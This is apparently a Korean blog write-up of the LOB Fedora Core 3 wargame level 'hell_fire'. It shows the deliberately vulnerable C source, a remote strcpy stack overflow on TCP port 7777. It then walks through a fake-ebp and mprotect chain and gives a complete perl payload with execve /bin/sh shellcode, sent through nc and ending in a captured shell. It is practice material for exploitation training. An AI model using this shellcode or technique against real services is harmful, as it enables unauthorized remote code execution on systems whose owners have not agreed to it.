문제의 소스입니다.

[dark_eyes@Fedora_1stFloor ~]$ cat hell_fire.c
/*
The Lord of the BOF : The Fellowship of the BOF 
- hell_fire
- Remote BOF on Fedora Core 3 
- hint : another fake ebp or got overwriting 
- port : TCP 7777
*/

#include <stdio.h>

int main()
{
char buffer[256];
char saved_sfp[4];
char temp[1024];
  
printf("hell_fire : What's this smell?\n");
printf("you : ");
fflush(stdout);

// give me a food
fgets(temp, 1024, stdin);
   
// save sfp 
memcpy(saved_sfp, buffer+264, 4);
 
// overflow!!
strcpy(buffer, temp);

// restore sfp 
memcpy(buffer+264, saved_sfp, 4);

printf("%s\n", buffer);
}

프로그램이 동작하는 과정을 차례로 정리해보자면,

1) fgets로 temp에 입력값을 받음.
2) memcpy로 sfp를 백업해둠.
3) strcpy로 temp를 buffer로 복사
4) memcpy로 sfp를 복구.

이렇게 정리 할 수 있습니다.

방법 1)
힌트를 보면 hint : another fake ebp or got overwriting 라고 적혀있는데요 저는 fake ebp를 이용해서 풀어보았습니다.

fake ebp를 쓰기 위해서는 ebp를 먼저 덮어씌워야하는데 문제에서는 sfp를 복구시키고 있습니다.
그렇다면, main함수의 ebp를 조작할 것이아니라 main함수가 종료되면 복귀하는 __libc_start_main함수의 ebp를 조작하면 됩니다.

먼저 페이로드는 다음과 같습니다.

[buffer + dummy (268bytes)] [leaveret(4bytes)] [dummy(88bytes)][fake ebp(4bytes)(mprotect를 가리킨다)] [leaveret(4bytes)] [mprotect] [쉘코드 위치(4bytes)] [인자1] [인자2] [인자3] [쉘코드]

이 페이로드가 진행되는 상황을 정리해보겠습니다
1) ret인데 eip가 leave의 주소를 가리키고 있으므로, leave의 주소로 리턴됬음. (이때 main함수를 탈출해서 __libc_start_main함수로 돌아왔음.)
2) 첫번째 leave가 진행되면서 pop %ebp 때문에 결국 fake ebp를 ebp로 세팅함.
3) 첫번째 ret이 진행되면서 pop %eip로 인해 eip는 두번째 leave의 주소를 가리키고 있음.
4) 두번째 leave가 진행되면서 fake ebp가 mov %ebp,%esp 로 인해서 esp는 fake ebp가 가리키고 있는 값을 가리키고 있음.
5) 두번째 ret이 진행되면서 pop %eip로 인해서 eip는 fake ebp가 가리키고 있는 mprotect부분으로 세팅된다.
6) mprotect을 쓴다. (여기서 mprotect이 사용되는 이유는 stdin이 rw권한만 가지고있고 x권한을 가지고 있지 않기 때문이다. 때문에, 여기서 x(exec)권한을 부여해준다. 여기서 많이 삽질을 했었다.)
7) 쉘코드 위치로 이동해서 쉘코드를 이동시킨다.

[dark_eyes@Fedora_1stFloor ~]$ (perl -e 'print "a"x268,"\x61\x85\x04\x08","s"x88,"\x6c\xe1\xff\xf6","\x61\x85\x04\x08","\x70\x46\x71\x00","\x58\xe2\xff\xf6", "\x00\xe0\xff\xf6", "\x00\x08\x00\x00", "\x07\x00\x00\x00", "\x90"x500, "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"';cat)|nc localhost 7777
hell_fire : What's this smell?
you : 
id
uid=503(hell_fire) gid=503(hell_fire) context=user_u:system_r:unconfined_t
my-pass
euid = 503
sign me up


'Wargame > LOB (Fedora3)' 카테고리의 다른 글

evil_wizard ->dark_stone  (0) 2014.02.24
hell_fire -> evil_wizard  (0) 2014.02.20
iron_golem -> dark_eyes  (0) 2014.02.20
gate -> iron_golem  (0) 2014.02.20
Posted by windowhan
,